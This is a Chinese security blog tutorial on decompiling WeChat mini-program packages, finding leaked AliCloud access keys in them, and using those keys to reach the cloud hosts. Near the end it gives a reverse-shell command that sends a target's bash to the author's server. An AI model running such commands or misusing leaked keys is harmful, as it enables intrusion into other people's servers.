【干货分享】五分钟教你挖掘小程序漏洞

admin 2022年11月9日12:07:20移动安全评论33 views1119字阅读3分43秒阅读模式

【干货分享】五分钟教你挖掘小程序漏洞

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

【干货分享】五分钟教你挖掘小程序漏洞

本文约1252字,阅读约需5分钟。

【干货分享】五分钟教你挖掘小程序漏洞


【干货分享】五分钟教你挖掘小程序漏洞

前言

【干货分享】五分钟教你挖掘小程序漏洞

现在大多小程序反编译教程所使用的都是node.js,操作过程较为麻烦,那有没有简单好用的工具呢?有!



【干货分享】五分钟教你挖掘小程序漏洞

准备工作

【干货分享】五分钟教你挖掘小程序漏洞

一个模拟器,这里用的是夜神模拟器(模拟器开启root权限)。登录微信,打开小程序首页:
【干货分享】五分钟教你挖掘小程序漏洞

然后再打开文件管理器,找到路径:

/ 根目录下的data/data/com.tencent.mm/MicroMsg

在此目录下会有一个md5加密的文件夹。(如果打开微信小程序过多,同时有多个文件夹不容易识别的情况,可以选择把MicroMsg文件夹所有内容删除掉,再去重新打开微信小程序,就会得到唯一一个MD5加密命名的文件夹)


【干货分享】五分钟教你挖掘小程序漏洞

在该文件夹下的appbrand/pkg目录下找到.wxapkg后缀结尾的文件,其中只有几MB大小的为刚刚打开的小程序的文件。(该文件夹中文件过多也可以清空后,再打开小程序方便识别)


【干货分享】五分钟教你挖掘小程序漏洞


通过模拟器的共享文件将其传到物理机上。然后打开我们的工具(wxapkg-convertor)


【干货分享】五分钟教你挖掘小程序漏洞


将小程序的wxapkg文件直接拖入这个图标中,稍等片刻就可以看到目录下多了一个文件夹,此文件夹就是反编译好的小程序。使用VScode打开


【干货分享】五分钟教你挖掘小程序漏洞



【干货分享】五分钟教你挖掘小程序漏洞

正则查找API

【干货分享】五分钟教你挖掘小程序漏洞

【干货分享】五分钟教你挖掘小程序漏洞


【干货分享】五分钟教你挖掘小程序漏洞

挖洞实战

【干货分享】五分钟教你挖掘小程序漏洞

反编译成功后,查找api接口和敏感信息,定眼一看,在配置文件中,发现了AK/SK

【干货分享】五分钟教你挖掘小程序漏洞


先使用行云管家在线工具,输入AK/SK检索区域的主机个数,大概有6台主机(因之前没有截图,只能靠回忆),可以连接成功的只有4台主机,一台公网服务器,三台内网.


【干货分享】五分钟教你挖掘小程序漏洞


最后利用AliCloud-Tools工具反弹shell,阿里云服务器上监听5555端口,同时要确保安全组中的配置规则开放5555端口。


 执行反弹shell,将目标主机的shell反弹到自己的服务器上:

./AliCloud-Tools -a AK -s SK ecs exec -I 实例ID -c "bash -i >& /dev/tcp/服务器IP/5555 0>&1"

 阿里云服务器接收到反弹shell会话


【干货分享】五分钟教你挖掘小程序漏洞



【干货分享】五分钟教你挖掘小程序漏洞

项目地址

【干货分享】五分钟教你挖掘小程序漏洞


wxapkg-convertor:https://github.com/ezshine/wxapkg-convertoralicloud-tools:https://github.com/iiiusky/alicloud-tools



· END ·
点击下方名片,关注我们
觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标【干货分享】五分钟教你挖掘小程序漏洞

原文始发于微信公众号(听风安全):【干货分享】五分钟教你挖掘小程序漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月9日12:07:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【干货分享】五分钟教你挖掘小程序漏洞 http://cn-sec.com/archives/1394022.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: